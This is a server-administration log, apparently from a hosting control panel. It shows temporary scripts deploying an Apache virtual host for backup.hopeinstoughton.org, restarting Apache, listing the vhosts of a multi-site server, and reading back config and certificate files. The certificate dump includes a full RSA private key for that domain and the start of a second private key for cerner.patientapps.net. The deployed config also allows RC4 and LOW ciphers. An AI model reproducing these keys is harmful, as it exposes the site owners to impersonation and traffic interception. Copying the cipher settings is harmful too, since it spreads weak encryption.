    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-24 06:00:23: 

PUT: /tmp/pkp499111

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_backup_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf= 1'
fi


2026-04-24 06:00:23: 

chmod 755 /tmp/pkp499111; /tmp/pkp499111; rm /tmp/pkp499111

2026-04-24 06:00:23: 




2026-04-24 06:00:23: 

PUT: /tmp/pkp149858

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-24 06:00:23: 

chmod 755 /tmp/pkp149858; /tmp/pkp149858; rm /tmp/pkp149858

2026-04-24 06:00:23: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-24 06:00:23: Establishing a connection
2026-04-24 06:00:23: 

PUT: /tmp/pkp332548

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-24 06:00:23: 

chmod 755 /tmp/pkp332548; /tmp/pkp332548; rm /tmp/pkp332548

2026-04-24 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-24 06:00:23: 

PUT: /tmp/pkp553635

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-24 06:00:23: 

chmod 755 /tmp/pkp553635; /tmp/pkp553635; rm /tmp/pkp553635

2026-04-24 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf	1700

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-24 06:00:24: 

PUT: /tmp/pkp603956

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-24 06:00:24: 

chmod 755 /tmp/pkp603956; /tmp/pkp603956; rm /tmp/pkp603956

2026-04-24 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt	5374
9d:92:c2:41:9c:a0:cd:05:15:69:93:01:fc:8b:27:7d

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBd8nnzG8viZuo3phxSBQ1GNvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDI0MDUwMTUyWhcNMjYwNzIzMDUwMTUxWjAlMSMwIQYDVQQD
ExpiYWNrdXAuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALxJqmwH6J4WPU6xsYObPvSMnLAI9qh2hS4XptbLuUUQjx+k
O2SeUDgjhn1BgDU7C88NbWvY8GDJugOlM1ydwDUU/PeW2dd2SPTpL4xu9V6YgjQe
VjeOrqVnP6sFHzK+WT4jRFlAHomiWZNNCBoyQVh+3pPR1toGbbZZKwgCmw7VJF8V
DZ73BUVXlRaIeOXze5drYeM3H3vVVevtpb0NmnSVYe18FCKElBrWXKXv30Wfz9mo
/NJ4bYawz5GxhVCjQlNDSb3ZPoVdoL/TpIbA3oXUB8ahxTlljcEJ9LQk/zgNqJPl
ABS7Rcq3l10rMdiG5elO+Ki8X1pOm4RLLoS+lkUCAwEAAaOCAigwggIkMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQcm3nVO/oKwsHUqCBAHtac+9ZLzTAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmJhY2t1cC5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCG
Hmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTEyLmNybDCCAQsGCisGAQQB1nkCBAIE
gfwEgfkA9wB2AMIxfldFGaNF7n843rKQQevHwiFaIr9/1bWtdprZDlLNAAABnb4T
MZcAAAQDAEcwRQIgGGuK6ZKqxBsIqWUPq6/1UozMAvNcjldHc1Uz9Or2FDICIQDp
+fnTSA96UhAPKqLGSH+7Zyyfm6iEJrFd5PICLGoRLgB9AEavhj07PuWfpXfeqCRd
NrDZ7SKiI/Rhd0EilFLulVBfAAABnb4TMjkACAAABQAEuPjUBAMARjBEAiAtvO+F
ydAYUU6sGYy6tuOQpS2hHldLA1NJw++eWainrQIgXah9lTqsY8mgetidLBOsrMA3
RVpQmUPkj89GTlDno4owDQYJKoZIhvcNAQELBQADggEBAELq7dfkoQI0kkbRpS0H
p96+Hsv2O3btdK0DUWlDzlVnqBBFA7Xkc6r+Qe841PulcrNu2tZ2gYH/czzp9R4X
Hj10CGrrQtsNDwNGZO3NK+WUIXzx/RfBma6IPR2FVOUhaneDdbNQnizuEnq7khe/
z0iVNc/JOUxuNYgUn7C2zftf0THOSchfnbfLANlQCvelrHexQq0l5o6fFEIEasc1
fAMkyKh6rJUYh3/BhyX6cMPpMZ9Rimj5QffAyaUn/R+h5tCMPbs0rkoNgGPQoFTl
IDmoxJNE3YCBa95bnu4EVxx9J6D36sHcZC1dn0t3FERWsNU4TI1UEjdkqoWPTrfs
c/4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8SapsB+ieFj1O
sbGDmz70jJywCPaodoUuF6bWy7lFEI8fpDtknlA4I4Z9QYA1OwvPDW1r2PBgyboD
pTNcncA1FPz3ltnXdkj06S+MbvVemII0HlY3jq6lZz+rBR8yvlk+I0RZQB6JolmT
TQgaMkFYft6T0dbaBm22WSsIApsO1SRfFQ2e9wVFV5UWiHjl83uXa2HjNx971VXr
7aW9DZp0lWHtfBQihJQa1lyl799Fn8/ZqPzSeG2GsM+RsYVQo0JTQ0m92T6FXaC/
06SGwN6F1AfGocU5ZY3BCfS0JP84DaiT5QAUu0XKt5ddKzHYhuXpTviovF9aTpuE
Sy6EvpZFAgMBAAECggEAAlT0FLkkowJJ7fE2JTx3nFhxLTCnOoOYG++rMaX0ZYLJ
NCCdftUDYgjjvZPPKb4s0Z8jBWyMu9mPJh+xtoEjpC3MAaivQPpdQahfFOFfxLU3
iCmQ4H9ozU12i5wG/IdlHEL3sc1Fs4vzZQvVichfsYSF3LnMEL4tyBciwhRsd5zl
G7S8IvHwfRAc9zb98+h78TKiK4bajk/PxbuQueZzuw4IDRYbEsoo5/PU+wtQrE4m
wsOyQxQNTUOb+g3uXQpMGKs733VO6Ab47HOtxZxus5cwz7uIQ+mTBX751ipIUIci
dFtdTyXIrdRVPMfadWfNG6YwD363wDGYEMC7F+WZIQKBgQD0t5oICd9rCCPnzkjx
8RE0PFSm1+dIghbOl+q+bLkMTHZUmbZPsmsPkT0RiCPiG3mt/V05/ellqXcM/tWJ
nSFdhtL9lZ5gc1DNbY8nyOtJ9pEfOZZv+Igw/JIwYbMB0p/2010WjFp7ePP3TM5y
pCiTok4RO1CBNLSjgRS/gYYtdQKBgQDE+Abu4jshKoP8E4U/WFNPaLH0Mgg8+x2C
CtepDcSHjbDONUk4YkiFBS/VH+lSMnj5W1/fEB3+gURF2FiYjxgwPLulCsWq+yGL
nLHGEq7BAKmgry4p+DafI5ZTBeA1mVRU+rDiuZ7HJu6oV2QVYzFCNQWi+JB9i/py
jW0jXTWbkQKBgQCWeku6A7AhVZkWkk9ijpTApRR8n6h1eqDhmqLbQ2mqeV4N+ZMU
gKa6pNmDbU57W9+/sFtiLJMXU1SEZjMScs+wfhZBnn4L2vzlxSfRFAgyq+5i3/t0
kMPWM4kFPR5g0Y5RrXjBQ77jy+VgvRb5gZ394kDU8b84JBurqtUCSXgjfQKBgQDA
0Lggw2/0wKThb86Buxoa4zdJAG1WHNC/C5QgFq0rsUXCJyGdQ4EQToqLjKif4W7R
U2SffSyPhsVpxia8eV/JYLqkDs5/2UT2YZcZehJ+NwLWnIaJaUU3NeQjM95POeD3
K01bNTA8bl00iBAea7K9yB/TcJYpgIzT9KRA+S7QMQKBgG2q+oxXbfSPmK2UUZpd
VW0iPDbAT1Pv9S2iJFBq6Aksq3cgAYBYCv4FbnWI+qAq8ypkzfXBZU/Q/aSWaKUw
pW2K4T9aRCuk4aI6iyvZX9pcYTdSulpYWSP8fmGtqSy2B8hDgpOvDI7MT6a47+u/
MoM9nZ7yJmEzXg5Th/9Tw6dF
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-24 06:00:24: Establishing a connection
2026-04-24 06:00:24: Establishing a connection
2026-04-24 06:00:24: 

PUT: /tmp/pkp237639

#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-24 06:00:25: 

chmod 755 /tmp/pkp237639; /tmp/pkp237639; rm /tmp/pkp237639

2026-04-24 06:00:25: 


0


2026-04-24 06:00:51: Establishing a connection
2026-04-24 06:00:51: 

PUT: /tmp/pkp258252

#!/bin/bash
temp_file=$(mktemp)
TARGET=9165176ee0fe7a5f957c52572458ff70.crt

cat > $temp_file <<'endmsg'
fc:df:68:73:f4:20:43:31:1a:24:a3:49:05:f5:a6:c4

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBcwuZ8I4DYroDHEe2wWWK/p9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDI0MDUwMjE4WhcNMjYwNzIzMDUwMjE3WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA3nkesPFdJ2xsfKIN/fennB5gHGQYyhLPaYnbX9LldAdW8yPvu0Hz
+AcaKlcZ0XxALUCsSKWAzmjFtTlIUJfxkkFZgcE1Hdd3R353y9mScb61+L4S8a3c
bocGJXIL6zvor4wVRkgG75z2yHboBsluhhsJGBRs/rMrf5mfNn5vXJjwvSLZJiN5
HPvFODo0bWGzrWoC95vI/hv9PmroHY2fEE9OI7dAarYVuztPbI0NEUX/TI7OI7ob
I9nWZvCHcR6/bh/MqTMQIjetATGuF1E5gF+BBIRGiEm1yICWuhPViOVsGeongv7w
k3CZdv5fVQ4ynBGXL0+4HBthm7NzMdpLyQIDAQABo4ICJzCCAiMwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFNvdWxL88k5HChglCqWULZkQLqM7MB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wIQYDVR0RBBowGIIWY2VybmVyLnBhdGllbnRhcHBzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEyNi5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8APoA
dwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ2+E5tjAAAEAwBI
MEYCIQCkVCmzjXCJSNFqPjY1id3XczfMZJtg/XoxjAZ1CeOV8wIhANGEQfgOZll/
zguMiGgqiONjwMaTWpwWka5Cgo/yl6EaAH8AJuNkblhpISO8ND9HJDWbN5LNJFqI
2BXTkzP9mRirRyMAAAGdvhObPAAIAAAFAAnTD14EAwBIMEYCIQCZEIhEVdq+ZqhM
6Fgto9LpFLmz16qEZ8k4wmzBXln9PwIhAJE5Obm52WOuX4OgAvzqBMy1WaB50egC
FyRBUQZsb2+7MA0GCSqGSIb3DQEBCwUAA4IBAQAORcoTWIrXI+f25clTr2G3zMJH
SDPf314uVrJmIAqJn5oJ/6S++jzMOtm0YUv1hMhoGL1rmg9zVudNxhnneqkgMU4V
0HXVIcJ/a69+qastvqUlTA/9zof/1rE8VrqvwgVjZepPj9Zf/8zDBX5WuOD2+SBo
w56oPSCuSpSF2MF3TwXLW/Q+xKifml6mPyeRTxk+UqKA0RJm824f1KCksBZ80sqy
F4krRvdJIl+9+dbYzP0LV4dOaCjASXxgQ1fiwKFOhNOq5UWdp6nBBuDogGf1RM89
bTuCtd/AIwtSWT+zqYQAieSjHcuZvTd1HC09ZUXvQYNkc9Lx7XLNUItxw1Y/
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDeeR6w8V0nbGx8
og3996ecHmAcZBjKEs9pidtf0uV0B1bzI++7QfP4BxoqVxnRfEAtQKxIpYDOaMW1
